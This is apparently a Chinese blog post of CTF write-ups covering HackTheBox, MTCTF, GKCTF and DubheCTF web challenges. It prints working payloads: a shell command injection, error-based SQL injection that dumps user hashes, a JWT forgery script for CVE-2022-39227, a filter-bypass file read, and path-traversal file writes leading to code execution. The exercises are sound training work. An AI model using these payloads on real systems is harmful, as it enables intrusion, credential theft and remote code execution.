做题记录(1)

hackthebox

TimeKORP

审计源码:

/challenge/models/TimeModel.php下发现了一个exec函数。

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

exec所执行的参数为$this->command,而$this->command = "date '+" . $format . "' 2>&1";,来自于变量$formatd的拼接,

点击题目首页左上角What's the time?,会传入format参数,因此可以直接在url中控制变量$format的参数

image-20240311175143604

根据源码,首先对前半部分的命令进行闭合,然后后面直接接上需要下执行的语句:

%H-%M-%S-%27;$(cat%20../flag)%27'

image-20240311175041229

KORP Terminal

题目首页:

image-20240311184200745

终端登录界面

猜测为SQL注入题目,寻找注入点:

password=qwert123&username=1.0'

image-20240311184414254

在username处找到注入点

注释:

password=qwert123&username=1.0'--+

image-20240311184546505

使用联合注入,通过select判断列数,

image-20240311184704322

只有当列数为1时,不在报错列数不正确,但是仍然报错:

password=qwert123&username=1.0'union select 1;--+

image-20240311184805399

再三判断自己语句没问题,采用报错注入,查库

password=qwert123&username=1.0'union select updatexml(1,concat(0x7e,(select DATABASE() limit 0,1),0x7e),1);--+

image-20240311185105685

得到korp_terminal

查表:

select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);

image-20240311185327363

得到users

查列:

select updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1);

image-20240311185550489

得到id username passwd

查数据:

select updatexml(1,concat(0x7e,(substring((select group_concat(username,'--',password) from korp_terminal.users),0,32)),0x7e),1);

数据有点长substring截取

$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.

查出来password123

登录即可

Flag Command

大致扫一下代码:

image-20240312114249071

在最后直接访问/api/options查看所有指令

secret下找的命令Blip-blop, in a pickle with a hiccup! Shmiggity-shmack

输入这个命令即可得到flag

image-20240312113904018

Labyrinth Linguist

java velocity模板注入

网上搜一下exp一把嗦

image-20240314200153967

testimonial

go下的templ模板注入,环境用了go中的air库,是go语言的热加载攻击,可以监听文件或目录的变化,当监听到变化就会自动编译运行重启程序,因此利用改特性进行templ文件的覆盖

这都题目中的grpc起到了一个文件上传的作用,可以本地起也可以直接用工具grpcurl

(docker搭不起来)

LockTalk

直接访问/api/v1/get_ticket无法成功,在附件给出的配置信息中找到关键信息

image-20240314200451120

当url路径为/api/v1/get_ticket时,拒绝请求

使用yakit发包绕一下路径/api/v1/../v1/get_ticket得到jwt

该题目版本为jwt3.3.3,在jwt<3.3.4情况下存在漏洞:CVE-2022-39227

使用exp脚本伪造jwt,伪造成功后输入getflag即可

from json import *
from python_jwt import *
from jwcrypto import jwk

jwt_json = "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMTA1ODcsImlhdCI6MTcxMDMwNjk4NywianRpIjoidHFoVkJnNmxGTDRtTlBCZTJKSGdUdyIsIm5iZiI6MTcxMDMwNjk4Nywicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.mSiWJ97ea28pbz6njG1ZjJYbYvKzHkCXoumSzmHazIbnPeuHSN3GF2ydpL5B4_YV9KvFQdHLu5IYnBCqlNFRwEjCtlTQKzy_wemOEHTHSJCA-kAYvFtYE62nI6JNszUzQdzhr50EvLPseQoVzjAz_Q4eJpOXn5cm5hAmYBy8GqAgsLACVhD7NWej44e5zmj2H5R3PoD-tWzgvjdmwMyscSqvxOssCCPU4h_lXz15AkG2uneT2ACa2zkvqeI8ie3I7UID89mlwlVbV48AnfBLUMv_yKA7gMh0oy_Gj08tCleh7AsTidokmIFQ3fh3s11Zkj7AkdQfn5onL3fzu6ZGKw"
[header, payload, signature] = jwt_json.split('.')
parsed_payload = loads(base64url_decode(payload))
#这里键值对根据需要修改
parsed_payload['role'] = "administrator"
fake = base64url_encode(dumps(parsed_payload))
fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fake_jwt)

得到

{"ticket: ":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMTA1ODcsImlhdCI6MTcxMDMwNjk4NywianRpIjoidHFoVkJnNmxGTDRtTlBCZTJKSGdUdyIsIm5iZiI6MTcxMDMwNjk4Nywicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.mSiWJ97ea28pbz6njG1ZjJYbYvKzHkCXoumSzmHazIbnPeuHSN3GF2ydpL5B4_YV9KvFQdHLu5IYnBCqlNFRwEjCtlTQKzy_wemOEHTHSJCA-kAYvFtYE62nI6JNszUzQdzhr50EvLPseQoVzjAz_Q4eJpOXn5cm5hAmYBy8GqAgsLACVhD7NWej44e5zmj2H5R3PoD-tWzgvjdmwMyscSqvxOssCCPU4h_lXz15AkG2uneT2ACa2zkvqeI8ie3I7UID89mlwlVbV48AnfBLUMv_yKA7gMh0oy_Gj08tCleh7AsTidokmIFQ3fh3s11Zkj7AkdQfn5onL3fzu6ZGKw"}

MTCTF2021 easycms复现WP

image-20240317200604878

审查网页js,直接拿到接口进后台

image-20240317201049820

但是点击前四个按钮的权限,后面按钮点击时显示没有权限

image-20240317201423464

审查js发现,并没有直接做权限鉴定,而是直接一个js冒出弹窗,因此这里不考虑做越权的操作

image-20240317201708231

可以XSS

image-20240317204429897

有点没思路了,上了一下扫描器

image-20240317205515799

找到一个robots.txt(自己这个没有想到,,,主动搜集信息的能力有点弱了)

根据robots.txt得到/h1nt.php

image-20240317205640444

得知使用的数据库为sqlite,且存在数据库文件db/user.db3

直接访问路由:/db/user.db3直接下载得到数据库文件

使用sqlitebrowser工具打开:https://github.com/sqlitebrowser/sqlitebrowser

image-20240317210448468

找到用户名密码

image-20240317210616199

MD5解密得到明文密码:attack

image-20240317210855567

登录进入真正的后台(🤡)

image-20240317210953032

但后续按钮仍然为直接js弹窗(🤡)

image-20240317211235705

继续在数据库文件中寻找线索,找到了一个类似于文件读取和目录穿越的东西

image-20240317215055975

在网页中寻找file,真找到一个

image-20240317215745544

尝试读取敏感文件

image-20240317220039582

存在waf,试了一堆后发现传空时直接返回网页源码

返回源码:

<?php
session_start();
if (!$_SESSION['login']){
    header("location:index.php?c=login");
}
?>
<?php
error_reporting(0);

if ($_GET['file']){
    $filename = $_GET['file'];
    if ($filename=='logo.jpg'){
        header("Content-Type:image/png");
        echo file_get_contents("../static/images/logo.jpg");
    }else{
        ini_set('open_basedir','./');
        if ($filename=='hint.php'){
            echo 'nononono!';
        } else{
            if(preg_match('/read|[x00-x24x26-x2c]| |base|rot|strip|encode|flag|tags|iconv|utf|input|convertstring|lib|crypt|..|.//i', $filename)){
                echo "hacker";
            }else{
                include($filename);
            }
        }
    }
}else{
    highlight_file(__FILE__);
}

发现存在hint.php,但存在一些waf,且限制能读取文件的目录仅为当前目录、

利用伪协议,并且双重URL编码,将一些关键字进行URL编码两次,读取一下hint.php

php://filter/conv%25%36%35rt.bas%25%36%3564-encod%25%36%35/resource=hint.php
<?php
//以下是class目录结构
/*
- class
    -- cache
    -- templates
        --- api
            - Api.php
        ---admin
            -add_category.php
            -category_list.php
            -edit_category.php
            -admin.php
            -footer.php
            -header.php
            -left.php
        - login.php
        - index.php
        - api.php
    -- auth.php
    -- file_class.php
    -- hint.php
    -- Medoo.php
    -- render_file.php
    -- showImage.php
    -- info.php
*/

得到当先路径下的路由信息

自己读了一下这些文件,还原了一下原本结构

image-20240318143404843

代审工具扫一下

image-20240318145947683

找到一个file_put_contents函数,此外还有一些魔术方法和unserialize()函数,可以反序列化

image-20240318150330544

跟进一下log()函数,找到该函数的利用点

image-20240318152705165

function doLogin($user,$pass,$t='2'){
    $data = [
        'database_type' => 'sqlite',
        'database_file' => 'db/user.db3'
    ];
    $db = new medoo($data);
    header('Content-Type:application/json; charset=utf-8');
    $res = $db->select('userTable','*',['username'=>"$user"]);
    if (count($res)>0){
        $username = $res[0]['username'];
        $password = $res[0]['password'];
    }
    if( ($user == $username) && (md5($pass) == $password) ) {
        $_SESSION['login'] = 1;
        define("AQ",1);
        $content = ($t==1)?("上次登录时间:".date("Y-m-d h:i:s")):$t;
        $log = new info($content);
        $log->log();
        $data = [
            'code'      =>  0,
            'msg'   =>  'successful'
        ];
    }
    else{
        $data = [
            'code'      =>  -1012,
            'err_msg'   =>  '用户名或密码错误!'
        ];

    }
    exit(json_encode($data));
}

其中$content采用三元运算符,当t=1时,传入时间,否则直接传入$t,而且在读hint.php时,采用了include函数

因此直接写入php文件,并利用include函数读取即可

抓登录包,修改t值

image-20240318184514335

返回成功,证明写入成功

image-20240318184539611

成功命令执行

image-20240318192003860

image-20240318192022767

cat得到flag

image-20240318192049901

GKCTF 2021 easycms

题目首页

image-20240321120346972

点击登录等按钮无反应,扫目录

image-20240321120444856

找到第一个admin.php文件

image-20240321120514920

爆密码发现存在次数限制:

image-20240321120735854

再做了一下信息搜集,还是没有找到关于密码的一些信息

手测(看WP,官方提示密码5位)admin 12345;

在导出模板出存在路径穿越,达到任意文件下载,下载得到zip文件,修改后缀打开得到flag

?file=php://filter/read=convert.base64-encode/resource=..././..././..././flag

image-20240321122245024

DubheCTF 2024

Wecat

题目描述:没有人比我更会网聊!

image-20240319194737008

env/db/init-mango.sh文件中找到存在一个admin用户

image-20240319195548534

env/server/src/route/login.js文件下找到一个密码修改的API

image-20240319200300028

利用此api进行密码修改

image-20240319200423402

/wechatAPI/login/pwdapi下进行登录

image-20240319200701196

得到token

{"msg":"登录成功","error":false,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTA4NTM2MDAsImRhdGEiOiJ1bmRlZmluZWRwYXNzIiwiaWF0IjoxNzEwODUwMDAwfQ.x3XSCLluq1TNkDCOC8XJErWx51oRt3FhJLaGp97YG9I","data":{"nickName":"admin","trueName":"admin","email":"[email protected]","avatar":"","time":"Tue Mar 19 11:24:24 UTC 2024","RecentlyTime":"Tue Mar 19 11:24:24 UTC 2024"}}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTA4NTM2MDAsImRhdGEiOiJ1bmRlZmluZWRwYXNzIiwiaWF0IjoxNzEwODUwMDAwfQ.x3XSCLluq1TNkDCOC8XJErWx51oRt3FhJLaGp97YG9I

env/server/src/route/uploads.js文件下存在文件上传api功能

分析代码:

router.post('/wechatAPI/upload/once', async (ctx) => {
  const {
    name,
    hash, // 文件hash值
    postfix
  } = ctx.request.body
  let error = false
  let message
  const file = ctx.request.files.file
  const fileName = `avatar_${hash}.${postfix}` // 文件名字
  const filePath = path.join(config.staticPath, fileName)
  try {
    const reader = fs.readFileSync(file.path)
    fs.writeFileSync(filePath, reader)
    message = '上传成功'
  } catch (e) {
    error = true
    message = e
  }
  ctx.body = {
    name,
    fileName,
    error,
    message
  }
})

其中文件保存操作通过fs.writeFileSync(filePath, reader)实现,路径通过filePath实现,const filePath = path.join(config.staticPath, fileName),这段代码通过path.join函数将多段路径进行拼接,并且从文件名获取,因此通过文件名实现路径穿越

文件内容的保存通过fs.writeFileSync()函数进行实现,当文件路径重复时,会进行复写文件

image-20240319210421196

上传成功,访问url/wechatAPI/admin/hack路由即可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇